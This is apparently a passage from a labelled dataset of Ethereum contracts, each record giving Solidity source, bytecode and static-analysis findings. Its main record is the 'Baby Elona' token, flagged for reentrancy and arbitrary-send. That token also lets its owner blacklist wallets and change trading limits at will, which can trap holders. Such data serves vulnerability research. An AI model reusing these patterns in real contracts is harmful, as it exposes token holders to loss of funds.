ffffffffff16815260200191505060405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561425957508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156142fc57506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160009054906101000a900464ffffffffff1664ffffffffff1611806142fb57506142cc612db7565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b156145445780600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600081548092919060010191905055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f9f4d150e5193cfa9a87226111d3b60b624d97ccc056eeeac1569af1ea27bf64160405160405180910390a360008090505b6004805490508160ff16101561454257600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561447e57614542565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600c0160008154809291906001019190505550600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508080600101915050614434565b505b5050565b6040518060800160405280600490602082028036833780820191505090505090565b604051806080016040528060049060208202803683378082019150509050509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212209b3704422506384aeb7147139d9484ec6ebb0207e94d906af7f9548f75d5bdef64736f6c63430006080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,118 |
0x97912fb2398b0948ceafc202a85dfc2adf8dffa1
|
/**
//SPDX-License-Identifier: UNLICENSED
Telegram: https://t.me/BabyElonaToken
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyElona is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 12;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Baby Elona";
string private constant _symbol = "bELONA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 20_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf91461049f578063d94160e0146104b4578063dd62ed3e146104e4578063f42938901461052a57600080fd5b8063b515566a1461043f578063c02466681461045f578063c0a904a21461047f57600080fd5b8063715018a61461037d57806381bfdcca1461039257806389f425e7146103b25780638da5cb5b146103d257806395d89b41146103f0578063a9059cbb1461041f57600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102ed5780635932ead11461031d578063677daa571461033d57806370a082311461035d57600080fd5b8063313ce5671461028457806349bd5a5e146102a057806351bc3c85146102d857600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f657806318160ddd1461022657806323b872dd14610242578063273123b71461026257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b5060408051808201909152600a8152694261627920456c6f6e6160b01b60208201525b6040516101b19190611d05565b34801561020257600080fd5b50610216610211366004611b96565b61053f565b60405190151581526020016101b1565b34801561023257600080fd5b50683635c9adc5dea000006101a7565b34801561024e57600080fd5b5061021661025d366004611b29565b610556565b34801561026e57600080fd5b5061028261027d366004611ab9565b6105bf565b005b34801561029057600080fd5b50604051600981526020016101b1565b3480156102ac57600080fd5b506011546102c0906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e457600080fd5b50610282610613565b3480156102f957600080fd5b50610216610308366004611ab9565b60056020526000908152604090205460ff1681565b34801561032957600080fd5b50610282610338366004611c88565b61064c565b34801561034957600080fd5b50610282610358366004611cc0565b610694565b34801561036957600080fd5b506101a7610378366004611ab9565b6106c3565b34801561038957600080fd5b506102826106e5565b34801561039e57600080fd5b506102826103ad366004611cc0565b610759565b3480156103be57600080fd5b506102826103cd366004611cc0565b610788565b3480156103de57600080fd5b506000546001600160a01b03166102c0565b3480156103fc57600080fd5b5060408051808201909152600681526562454c4f4e4160d01b60208201526101e9565b34801561042b57600080fd5b5061021661043a366004611b96565b6107b7565b34801561044b57600080fd5b5061028261045a366004611bc1565b6107c4565b34801561046b57600080fd5b5061028261047a366004611b69565b610868565b34801561048b57600080fd5b5061028261049a366004611b69565b6108bd565b3480156104ab57600080fd5b50610282610912565b3480156104c057600080fd5b506102166104cf366004611ab9565b60066020526000908152604090205460ff1681565b3480156104f057600080fd5b506101a76104ff366004611af1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053657600080fd5b50610282610cfd565b600061054c338484610d27565b5060015b92915050565b6000610563848484610e4b565b6105b584336105b085604051806060016040528060288152602001611ed6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611291565b610d27565b5060019392505050565b6000546001600160a01b031633146105f25760405162461bcd60e51b81526004016105e990611d58565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063357600080fd5b600061063e306106c3565b9050610649816112cb565b50565b6000546001600160a01b031633146106765760405162461bcd60e51b81526004016105e990611d58565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106be5760405162461bcd60e51b81526004016105e990611d58565b601255565b6001600160a01b03811660009081526002602052604081205461055090611470565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105e990611d58565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107835760405162461bcd60e51b81526004016105e990611d58565b601355565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016105e990611d58565b600b55565b600061054c338484610e4b565b6000546001600160a01b031633146107ee5760405162461bcd60e51b81526004016105e990611d58565b60005b81518110156108645760016007600084848151811061082057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085c81611e6b565b9150506107f1565b5050565b6000546001600160a01b031633146108925760405162461bcd60e51b81526004016105e990611d58565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e75760405162461bcd60e51b81526004016105e990611d58565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b81526004016105e990611d58565b601154600160a01b900460ff16156109965760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105e9565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109d33082683635c9adc5dea00000610d27565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0c57600080fd5b505afa158015610a20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a449190611ad5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8c57600080fd5b505afa158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac49190611ad5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0c57600080fd5b505af1158015610b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b449190611ad5565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610ba8816106c3565b600080610bbd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c2057600080fd5b505af1158015610c34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c599190611cd8565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc557600080fd5b505af1158015610cd9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108649190611ca4565b600e546001600160a01b0316336001600160a01b031614610d1d57600080fd5b47610649816114f4565b6001600160a01b038316610d895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e9565b6001600160a01b038216610dea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eaf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e9565b6001600160a01b038216610f115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e9565b80610f1b846106c3565b1015610f785760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105e9565b6000546001600160a01b03848116911614801590610fa457506000546001600160a01b03838116911614155b15611281576001600160a01b03831660009081526007602052604090205460ff16158015610feb57506001600160a01b03821660009081526007602052604090205460ff16155b610ff457600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104d57506011546001600160a01b03848116911614801561104d57506001600160a01b03821660009081526006602052604090205460ff16155b156110ba576012548111156110ba5760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105e9565b6001600160a01b03821660009081526006602052604090205460ff1661115357601354816110e7846106c3565b6110f19190611dfd565b11156111535760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105e9565b6011546001600160a01b03848116911614801561117e57506010546001600160a01b03838116911614155b80156111a357506001600160a01b03821660009081526005602052604090205460ff16155b80156111b85750601154600160b81b900460ff165b15611206576001600160a01b03821660009081526008602052604090205442116111e157600080fd5b6111ec42601e611dfd565b6001600160a01b0383166000908152600860205260409020555b6000611211306106c3565b601154909150600160a81b900460ff1615801561123c57506011546001600160a01b03858116911614155b80156112515750601154600160b01b900460ff165b801561125f5750600b548110155b1561127f5761126d816112cb565b47801561127d5761127d476114f4565b505b505b61128c838383611579565b505050565b600081848411156112b55760405162461bcd60e51b81526004016105e99190611d05565b5060006112c28486611e54565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137557600080fd5b505afa158015611389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ad9190611ad5565b816001815181106113ce57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f49130911684610d27565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d8d565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e9565b60006114e1611584565b90506114ed83826115a7565b9392505050565b600e546001600160a01b03166108fc61150e8360026115a7565b6040518115909202916000818181858888f19350505050158015611536573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6115518360026115a7565b6040518115909202916000818181858888f19350505050158015610864573d6000803e3d6000fd5b61128c8383836115e9565b60008060006115916117a9565b90925090506115a082826115a7565b9250505090565b60006114ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117eb565b6000806000806000806115fb87611819565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162d9087611876565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167857506001600160a01b03881660009081526005602052604090205460ff165b15611701576001600160a01b0388166000908152600260205260409020546116a090876118b8565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f4908b815260200190565b60405180910390a361179e565b6001600160a01b03881660009081526002602052604090205461172490866118b8565b6001600160a01b03891660009081526002602052604090205561174681611917565b6117508483611961565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179591815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c582826115a7565b8210156117e257505060095492683635c9adc5dea0000092509050565b90939092509050565b6000818361180c5760405162461bcd60e51b81526004016105e99190611d05565b5060006112c28486611e15565b60008060008060008060008060006118368a600c54600d54611985565b9250925092506000611846611584565b905060008060006118598e8787876119da565b919e509c509a509598509396509194505050505091939550919395565b60006114ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611291565b6000806118c58385611dfd565b9050838110156114ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e9565b6000611921611584565b9050600061192f8383611a2a565b3060009081526002602052604090205490915061194c90826118b8565b30600090815260026020526040902055505050565b60095461196e9083611876565b600955600a5461197e90826118b8565b600a555050565b600080808061199f60646119998989611a2a565b906115a7565b905060006119b260646119998a89611a2a565b905060006119ca826119c48b86611876565b90611876565b9992985090965090945050505050565b60008080806119e98886611a2a565b905060006119f78887611a2a565b90506000611a058888611a2a565b90506000611a17826119c48686611876565b939b939a50919850919650505050505050565b600082611a3957506000610550565b6000611a458385611e35565b905082611a528583611e15565b146114ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e9565b8035611ab481611eb2565b919050565b600060208284031215611aca578081fd5b81356114ed81611eb2565b600060208284031215611ae6578081fd5b81516114ed81611eb2565b60008060408385031215611b03578081fd5b8235611b0e81611eb2565b91506020830135611b1e81611eb2565b809150509250929050565b600080600060608486031215611b3d578081fd5b8335611b4881611eb2565b92506020840135611b5881611eb2565b929592945050506040919091013590565b60008060408385031215611b7b578182fd5b8235611b8681611eb2565b91506020830135611b1e81611ec7565b60008060408385031215611ba8578182fd5b8235611bb381611eb2565b946020939093013593505050565b60006020808385031215611bd3578182fd5b823567ffffffffffffffff80821115611bea578384fd5b818501915085601f830112611bfd578384fd5b813581811115611c0f57611c0f611e9c565b8060051b604051601f19603f83011681018181108582111715611c3457611c34611e9c565b604052828152858101935084860182860187018a1015611c52578788fd5b8795505b83861015611c7b57611c6781611aa9565b855260019590950194938601938601611c56565b5098975050505050505050565b600060208284031215611c99578081fd5b81356114ed81611ec7565b600060208284031215611cb5578081fd5b81516114ed81611ec7565b600060208284031215611cd1578081fd5b5035919050565b600080600060608486031215611cec578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d3157858101830151858201604001528201611d15565b81811115611d425783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ddc5784516001600160a01b031683529383019391830191600101611db7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1057611e10611e86565b500190565b600082611e3057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e4f57611e4f611e86565b500290565b600082821015611e6657611e66611e86565b500390565b6000600019821415611e7f57611e7f611e86565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064957600080fd5b801515811461064957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122086737f3c9289ad91c4bbf70afae81f06b3c5f1f0962ecef72167faf5a6b465f264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,119 |
0x965607fb038d07857a99a5c4abab028bd3cb9540
|
/**
*
*
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
